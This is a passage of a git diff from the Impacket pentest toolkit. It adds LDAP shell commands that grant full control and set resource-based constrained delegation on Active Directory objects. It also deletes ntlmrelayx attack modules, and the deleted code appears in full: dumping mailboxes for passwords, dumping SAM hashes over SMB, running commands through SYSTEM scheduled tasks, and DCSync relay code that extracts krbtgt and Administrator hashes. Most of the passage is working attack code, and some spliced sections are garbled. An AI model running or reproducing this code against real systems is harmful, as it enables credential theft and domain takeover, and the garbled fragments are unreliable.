RBCD attack. Recieved %d arguments instead." % len(args)) + + controls = security_descriptor_control(sdflags=0x04) + + target_name = args[0] + grantee_name = args[1] + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + target = self.client.entries[0] + target_sid = target["objectSid"].value + print("Found Target DN: %s" % target.entry_dn) + print("Target SID: %s\n" % target_sid) + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + grantee = self.client.entries[0] + grantee_sid = grantee["objectSid"].value + print("Found Grantee DN: %s" % grantee.entry_dn) + print("Grantee SID: %s" % grantee_sid) + + try: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0]) + except IndexError: + sd = self.create_empty_sd() + + sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) + self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls) + + if self.client.result['result'] == 0: + print('DACL modified successfully!') + print('%s now has control of %s' % (grantee_name, target_name)) + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_set_rbcd(self, line): + args = shlex.split(line) + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) + + target_name = args[0] + grantee_name = args[1] + + target_sid = args[0] + grantee_sid = args[1] + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + target = self.client.entries[0] + target_sid = target["objectSid"].value + print("Found Target DN: %s" % target.entry_dn) + print("Target SID: %s\n" % target_sid) + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + grantee = self.client.entries[0] + grantee_sid = grantee["objectSid"].value + print("Found Grantee DN: %s" % grantee.entry_dn) + print("Grantee SID: %s" % grantee_sid) + + try: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0]) + print('Currently allowed sids:') + for ace in sd['Dacl'].aces: + print(' %s' % ace['Ace']['Sid'].formatCanonical()) + + if ace['Ace']['Sid'].formatCanonical() == grantee_sid: + print("Grantee is already permitted to perform delegation to the target host") + return + + except IndexError: + sd = self.create_empty_sd() + + sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) + self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) + + if self.client.result['result'] == 0: + print('Delegation rights modified successfully!') + print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name)) + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + def search(self, query, *attributes): self.client.search(self.domain_dumper.root, query, attributes=attributes) for entry in self.client.entries: @@ -230,12 +566,21 @@ def do_exit(self, line): def do_help(self, line): print(""" + add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS. add_user new_user [parent] - Creates a new user. add_user_to_group user group - Adds a user to a group. + change_password user [password] - Attempt to change a given user's password. Requires LDAPS. + clear_rbcd target - Clear the resource based constrained delegation configuration information. + disable_account user - Disable the user's account. + enable_account user - Enable the user's account. dump - Dumps the domain. search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. get_user_groups user - Retrieves all groups this user is a member of. get_group_users group - Retrieves all members of a group. + get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName). + grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). + set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. + set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. exit - Terminates this session.""") diff --git a/impacket/examples/logger.py b/impacket/examples/logger.py index e9acb6c7e5..833e16adcb 100644 --- a/impacket/examples/logger.py +++ b/impacket/examples/logger.py @@ -1,12 +1,15 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: This logger is intended to be used by impacket instead -# of printing directly. This will allow other libraries to use their -# custom logging implementation. +# Description: +# This logger is intended to be used by impacket instead +# of printing directly. This will allow other libraries to use their +# custom logging implementation. # import logging diff --git a/impacket/examples/ntlmrelayx/__init__.py b/impacket/examples/ntlmrelayx/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/examples/ntlmrelayx/__init__.py +++ b/impacket/examples/ntlmrelayx/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git a/impacket/examples/ntlmrelayx/attacks/__init__.py b/impacket/examples/ntlmrelayx/attacks/__init__.py deleted file mode 100644 index 9fc8517af6..0000000000 --- a/impacket/examples/ntlmrelayx/attacks/__init__.py +++ /dev/null @@ -1,78 +0,0 @@ -# Copyright (c) 2013-2017 CORE Security Technologies -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Protocol Attack Base Class definition -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# -# Description: -# Defines a base class for all attacks + loads all available modules -# -# ToDo: -# -import os, sys -import pkg_resources -from impacket import LOG -from threading import Thread - -PROTOCOL_ATTACKS = {} - -# Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) -# Besides using this base class you need to define one global variable when -# writing a plugin for protocol clients: -# PROTOCOL_ATTACK_CLASS = "" -# or (to support multiple classes in one file) -# PROTOCOL_ATTACK_CLASSES = ["", ""] -# These classes must have the attribute PLUGIN_NAMES which is a list of protocol names -# that will be matched later with the relay targets (e.g. SMB, LDAP, etc) -class ProtocolAttack(Thread): - PLUGIN_NAMES = ['PROTOCOL'] - def __init__(self, config, client, username): - Thread.__init__(self) - # Set threads as daemon - self.daemon = True - self.config = config - self.client = client - # By default we only use the username and remove the domain - self.username = username.split('/')[1] - - def run(self): - raise RuntimeError('Virtual Function') - -for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): - if file.find('__') >= 0 or file.endswith('.py') is False: - continue - # This seems to be None in some case (py3 only) - # __spec__ is py3 only though, but I haven't seen this being None on py2 - # so it should cover all cases. - try: - package = __spec__.name # Python 3 - except NameError: - package = __package__ # Python 2 - __import__(package + '.' + os.path.splitext(file)[0]) - module = sys.modules[package + '.' + os.path.splitext(file)[0]] - try: - pluginClasses = set() - try: - if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): - # Multiple classes - for pluginClass in module.PROTOCOL_ATTACK_CLASSES: - pluginClasses.add(getattr(module, pluginClass)) - else: - # Single class - pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) - except Exception as e: - LOG.debug(e) - pass - - for pluginClass in pluginClasses: - for pluginName in pluginClass.PLUGIN_NAMES: - LOG.debug('Protocol Attack %s loaded..' % pluginName) - PROTOCOL_ATTACKS[pluginName] = pluginClass - except Exception as e: - LOG.debug(str(e)) diff --git a/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py b/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py deleted file mode 100644 index ee1c3d19dc..0000000000 --- a/impacket/examples/ntlmrelayx/attacks/dcsyncattack.py +++ /dev/null @@ -1,32 +0,0 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# HTTP Attack Class -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# -# Description: -# HTTP protocol relay attack -# -# ToDo: -# -from impacket.examples.ntlmrelayx.attacks import ProtocolAttack -from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes - -PROTOCOL_ATTACK_CLASS = "DCSYNCAttack" - -class DCSYNCAttack(ProtocolAttack): - """ - This is the default HTTP attack. This attack only dumps the root page, though - you can add any complex attack below. self.client is an instance of urrlib.session - For easy advanced attacks, use the SOCKS option and use curl or a browser to simply - proxy through ntlmrelayx - """ - PLUGIN_NAMES = ["DCSYNC"] - def run(self): - return diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py deleted file mode 100644 index 9de1d47e26..0000000000 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ /dev/null @@ -1,52 +0,0 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# HTTP Attack Class -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# -# Description: -# HTTP protocol relay attack -# -# ToDo: -# -from impacket.examples.ntlmrelayx.attacks import ProtocolAttack - -PROTOCOL_ATTACK_CLASS = "HTTPAttack" - -class HTTPAttack(ProtocolAttack): - """ - This is the default HTTP attack. This attack only dumps the root page, though - you can add any complex attack below. self.client is an instance of urrlib.session - For easy advanced attacks, use the SOCKS option and use curl or a browser to simply - proxy through ntlmrelayx - """ - PLUGIN_NAMES = ["HTTP", "HTTPS"] - def run(self): - #Default action: Dump requested page to file, named username-targetname.html - - #You can also request any page on the server via self.client.session, - #for example with: - self.client.request("GET", "/") - r1 = self.client.getresponse() - print(r1.status, r1.reason) - data1 = r1.read() - print(data1) - - #Remove protocol from target name - #safeTargetName = self.client.target.replace('http://','').replace('https://','') - - #Replace any special chars in the target name - #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) - - #Combine username with filename - #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' - - #Write it to the file - #with open(os.path.join(self.config.lootdir,fileName),'w') as of: - # of.write(self.client.lastresult) diff --git a/impacket/examples/ntlmrelayx/attacks/imapattack.py b/impacket/examples/ntlmrelayx/attacks/imapattack.py deleted file mode 100644 index 753aa1820a..0000000000 --- a/impacket/examples/ntlmrelayx/attacks/imapattack.py +++ /dev/null @@ -1,88 +0,0 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# IMAP Attack Class -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# -# Description: -# IMAP protocol relay attack -# -# ToDo: -# -import re -import os -from impacket import LOG -from impacket.examples.ntlmrelayx.attacks import ProtocolAttack - -PROTOCOL_ATTACK_CLASS = "IMAPAttack" - -class IMAPAttack(ProtocolAttack): - """ - This is the default IMAP(s) attack. By default it searches the INBOX imap folder - for messages with "password" in the header or body. Alternate keywords can be specified - on the command line. For more advanced attacks, consider using the SOCKS feature. - """ - PLUGIN_NAMES = ["IMAP", "IMAPS"] - def run(self): - #Default action: Search the INBOX - targetBox = self.config.mailbox - result, data = self.client.select(targetBox,True) #True indicates readonly - if result != 'OK': - LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) - LOG.info('Opening mailbox INBOX') - targetBox = 'INBOX' - result, data = self.client.select(targetBox,True) #True indicates readonly - inboxCount = int(data[0]) - LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) - #If we should not dump all, search for the keyword - if not self.config.dump_all: - result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) - #Check if search worked - if result != 'OK': - LOG.error('Search failed: %s' % rawdata) - return - dumpMessages = [] - #message IDs are separated by spaces - for msgs in rawdata: - dumpMessages += msgs.split(' ') - if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: - dumpMessages = dumpMessages[:self.config.dump_max] - else: - #Dump all mails, up to the maximum number configured - if self.config.dump_max == 0 or self.config.dump_max > inboxCount: - dumpMessages = list(range(1, inboxCount+1)) - else: - dumpMessages = list(range(1, self.config.dump_max+1)) - - numMsgs = len(dumpMessages) - if numMsgs == 0: - LOG.info('No messages were found containing the search keywords') - else: - LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) - for i, msgIndex in enumerate(dumpMessages): - #Fetch the message - result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') - if result != 'OK': - LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) - continue - - #Replace any special chars in the mailbox name and username - mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) - textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) - - #Combine username with mailboxname and mail number - fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' - - #Write it to the file - with open(os.path.join(self.config.lootdir,fileName),'w') as of: - of.write(rawMessage[0][1]) - LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) - - #Close connection cleanly - self.client.logout() diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py deleted file mode 100644 index 6dc94c0fb0..0000000000 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ /dev/null @@ -1,793 +0,0 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# LDAP Attack Class -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# -# Description: -# LDAP(s) protocol relay attack -# -# ToDo: -# -import _thread -import random -import string -import json -import datetime -import binascii -import codecs -import re -import ldap3 -import ldapdomaindump -from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM -from ldap3.utils.conv import escape_filter_chars -import os -from Cryptodome.Hash import MD4 - -from impacket import LOG -from impacket.examples.ldap_shell import LdapShell -from impacket.examples.ntlmrelayx.attacks import ProtocolAttack -from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell -from impacket.ldap import ldaptypes -from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP -from impacket.uuid import string_to_bin, bin_to_string -from impacket.structure import Structure, hexdump - -# This is new from ldap3 v2.5 -try: - from ldap3.protocol.microsoft import security_descriptor_control -except ImportError: - # We use a print statement because the logger is not initialized yet here - print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \ -Please update with pip install ldap3 --upgrade') -PROTOCOL_ATTACK_CLASS = "LDAPAttack" - -# Define global variables to prevent dumping the domain twice -# and to prevent privilege escalating more than once -dumpedDomain = False -alreadyEscalated = False -alreadyAddedComputer = False -delegatePerformed = [] - -#gMSA structure -class MSDS_MANAGEDPASSWORD_BLOB(Structure): - structure = ( - ('Version',' / Positive Technologies (https://www.ptsecurity.com/) -# Based on @agsolino and @_dirkjan code -# - -import time -import string -import random - -from impacket import LOG -from impacket.dcerpc.v5 import tsch -from impacket.dcerpc.v5.dtypes import NULL -from impacket.examples.ntlmrelayx.attacks import ProtocolAttack - -PROTOCOL_ATTACK_CLASS = "RPCAttack" - -class TSCHRPCAttack: - def _xml_escape(self, data): - replace_table = { - "&": "&", - '"': """, - "'": "'", - ">": ">", - "<": "<", - } - return ''.join(replace_table.get(c, c) for c in data) - - def _run(self): - # Here PUT YOUR CODE! - tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) - - cmd = "cmd.exe" - args = "/C %s" % self.config.command - - LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) - - xml = """ - - - - 2015-07-15T20:35:13.2757294 - true - - 1 - - - - - - S-1-5-18 - HighestAvailable - - - - IgnoreNew - false - false - true - false - - true - false - - true - true - true - false - false - P3D - 7 - - - - %s - %s - - - - """ % (self._xml_escape(cmd), self._xml_escape(args)) - - LOG.info('Creating task \\%s' % tmpName) - tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) - - LOG.info('Running task \\%s' % tmpName) - done = False - - tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) - - while not done: - LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) - resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) - if resp['pLastRuntime']['wYear'] != 0: - done = True - else: - time.sleep(2) - - LOG.info('Deleting task \\%s' % tmpName) - tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) - LOG.info('Completed!') - - -class RPCAttack(ProtocolAttack, TSCHRPCAttack): - PLUGIN_NAMES = ["RPC"] - - def __init__(self, config, dce, username): - ProtocolAttack.__init__(self, config, dce, username) - self.dce = dce - self.rpctransport = dce.get_rpc_transport() - self.stringbinding = self.rpctransport.get_stringbinding() - - def run(self): - # Here PUT YOUR CODE! - - # Assume the endpoint is TSCH - # TODO: support relaying RPC to different endpoints - # TODO: support for providing a shell - # TODO: support for getting an output - if self.config.command is not None: - TSCHRPCAttack._run(self) - else: - LOG.error("No command provided to attack") diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py deleted file mode 100644 index fb9c6a1755..0000000000 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ /dev/null @@ -1,120 +0,0 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# SMB Attack Class -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# -# Description: -# Defines a base class for all attacks + loads all available modules -# -# ToDo: -# -from impacket import LOG -from impacket.examples.ntlmrelayx.attacks import ProtocolAttack -from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell -from impacket import smb3, smb -from impacket.examples import serviceinstall -from impacket.smbconnection import SMBConnection -from impacket.examples.smbclient import MiniImpacketShell -from impacket.dcerpc.v5.rpcrt import DCERPCException - -PROTOCOL_ATTACK_CLASS = "SMBAttack" - -class SMBAttack(ProtocolAttack): - """ - This is the SMB default attack class. - It will either dump the hashes from the remote target, or open an interactive - shell if the -i option is specified. - """ - PLUGIN_NAMES = ["SMB"] - def __init__(self, config, SMBClient, username): - ProtocolAttack.__init__(self, config, SMBClient, username) - if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): - self.__SMBConnection = SMBConnection(existingConnection=SMBClient) - else: - self.__SMBConnection = SMBClient - self.__answerTMP = bytearray() - if self.config.interactive: - #Launch locally listening interactive shell - self.tcpshell = TcpShell() - else: - self.tcpshell = None - if self.config.exeFile is not None: - self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) - - def __answer(self, data): - self.__answerTMP += data - - def run(self): - # Here PUT YOUR CODE! - if self.tcpshell is not None: - LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) - #Start listening and launch interactive shell - self.tcpshell.listen() - self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell) - self.shell.cmdloop() - return - if self.config.exeFile is not None: - result = self.installService.install() - if result is True: - LOG.info("Service Installed.. CONNECT!") - self.installService.uninstall() - else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes - from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins - samHashes = None - try: - # We have to add some flags just in case the original client did not - # Why? needed for avoiding INVALID_PARAMETER - if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: - flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() - flags2 |= smb.SMB.FLAGS2_LONG_NAMES - self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) - - remoteOps = RemoteOperations(self.__SMBConnection, False) - remoteOps.enableRegistry() - except Exception as e: - if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges - if self.config.enumLocalAdmins: - LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) - enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) - try: - localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() - LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) - for name in localAdminNames: - LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) - except DCERPCException: - LOG.info("SAMR access denied") - return - # Something else went wrong. aborting - LOG.error(str(e)) - return - - try: - if self.config.command is not None: - remoteOps._RemoteOperations__executeRemote(self.config.command) - LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) - self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) - self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') - print(self.__answerTMP.decode(self.config.encoding, 'replace')) - else: - bootKey = remoteOps.getBootKey() - remoteOps._RemoteOperations__serviceDeleted = True - samFileName = remoteOps.saveSAM() - samHashes = SAMHashes(samFileName, bootKey, isRemote = True) - samHashes.dump() - samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') - LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) - except Exception as e: - LOG.error(str(e)) - finally: - if samHashes is not None: - samHashes.finish() - if remoteOps is not None: - remoteOps.finish() diff --git a/impacket/examples/ntlmrelayx/clients/__init__.py b/impacket/examples/ntlmrelayx/clients/__init__.py index e5f00d0d46..a219efba80 100644 --- a/impacket/examples/ntlmrelayx/clients/__init__.py +++ b/impacket/examples/ntlmrelayx/clients/__init__.py @@ -1,18 +1,17 @@ -# Copyright (c) 2013-2017 CORE Security Technologies +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Protocol Client Base Class definition -# -# Author: -# Alberto Solino (@agsolino) -# # Description: -# Defines a base class for all clients + loads all available modules +# Protocol Client Base Class definition +# Defines a base class for all clients + loads all available modules # -# ToDo: +# Author: +# Alberto Solino (@agsolino) # import os, sys, pkg_resources from impacket import LOG diff --git a/impacket/examples/ntlmrelayx/clients/dcsyncclient.py b/impacket/examples/ntlmrelayx/clients/dcsyncclient.py deleted file mode 100644 index da4cf0d2d9..0000000000 --- a/impacket/examples/ntlmrelayx/clients/dcsyncclient.py +++ /dev/null @@ -1,436 +0,0 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Author: -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) -# Alberto Solino (@agsolino) -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) -# - -from struct import unpack, pack -from binascii import hexlify, unhexlify -import traceback -from Cryptodome.Cipher import ARC4 -from impacket import LOG, ntlm -from impacket.smbconnection import SMBConnection -from impacket.examples.ntlmrelayx.clients import ProtocolClient -from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED -from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \ - NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL -from impacket.spnego import SPNEGO_NegTokenResp -from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc -from impacket.dcerpc.v5.ndr import NDRCALL -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \ - MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \ - rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes - -PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient" - -class DCSYNCRelayClientException(Exception): - pass - -class MYDCERPC_v5(DCERPC_v5): - def __init__(self, transport): - DCERPC_v5.__init__(self, transport) - - def sendBindType1(self, iface_uuid, auth_data): - bind = MSRPCBind() - - item = CtxItem() - item['AbstractSyntax'] = iface_uuid - item['TransferSyntax'] = self.transfer_syntax - item['ContextID'] = 0 - item['TransItems'] = 1 - bind.addCtxItem(item) - - packet = MSRPCHeader() - packet['type'] = rpcrt.MSRPC_BIND - packet['pduData'] = bind.getData() - packet['call_id'] = 0 - - sec_trailer = SEC_TRAILER() - sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT - sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY - sec_trailer['auth_ctx_id'] = 79231 - - pad = (4 - (len(packet.get_packet()) % 4)) % 4 - if pad != 0: - packet['pduData'] += b'\xFF' * pad - sec_trailer['auth_pad_len'] = pad - - packet['sec_trailer'] = sec_trailer - packet['auth_data'] = auth_data - - self._transport.send(packet.get_packet()) - - s = self._transport.recv() - - if s != 0: - resp = MSRPCHeader(s) - else: - return 0 #mmm why not None? - - if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R: - bindResp = MSRPCBindAck(resp.getData()) - elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT: - if resp['type'] == rpcrt.MSRPC_FAULT: - resp = MSRPCRespHeader(resp.getData()) - status_code = unpack(' 0: - remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] - else: - LOG.error("Couldn't get DC info for domain %s" % domainName) - raise Exception('Fatal, aborting') - remoteOps._RemoteOperations__drsr = self.session - - # Initialize NTDSHashes object - if self.serverConfig.smbuser != '': - # We can dump all :) - nh = NTDSHashes(None, None, isRemote=True, history=False, - noLMHash=False, remoteOps=remoteOps, - useVSSMethod=False, justNTLM=False, - pwdLastSet=False, resumeSession=None, - outputFileName='hashes', justUser=None, - printUserStatus=False) - nh.dump() - else: - # Most important, krbtgt - nh = NTDSHashes(None, None, isRemote=True, history=False, - noLMHash=False, remoteOps=remoteOps, - useVSSMethod=False, justNTLM=False, - pwdLastSet=False, resumeSession=None, - outputFileName='hashes', justUser=domainName + '/krbtgt', - printUserStatus=False) - nh.dump() - # Also important, DC hash (to sync fully) - av_pairs = authenticateMessage['ntlm'][44:] - av_pairs = AV_PAIRS(av_pairs) - serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') - nh = NTDSHashes(None, None, isRemote=True, history=False, - noLMHash=False, remoteOps=remoteOps, - useVSSMethod=False, justNTLM=False, - pwdLastSet=False, resumeSession=None, - outputFileName='hashes', justUser=domainName + '/' + serverName + '$', - printUserStatus=False) - nh.dump() - # Finally, builtin\Administrator providing it was not renamed - try: - nh = NTDSHashes(None, None, isRemote=True, history=False, - noLMHash=False, remoteOps=remoteOps, - useVSSMethod=False, justNTLM=False, - pwdLastSet=False, resumeSession=None, - outputFileName='hashes', justUser=domainName + '/Administrator', - printUserStatus=False) - nh.dump() - except Exception: - LOG.error('Could not dump administrator (renamed?)') - - return None, STATUS_SUCCESS - except Exception as e: - traceback.print_exc() - finally: - if remoteOps is not None: - remoteOps.finish() - - def netlogonSessionKey(self, challenge, authenticateMessageBlob): - # Here we will use netlogon to get the signing session key - LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) - - respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) - authenticateMessage = NTLMAuthChallengeResponse() - authenticateMessage.fromString(respToken2['ResponseToken']) - domainName = authenticateMessage['domain_name'].decode('utf-16le') - flags = authenticateMessage['flags'] - 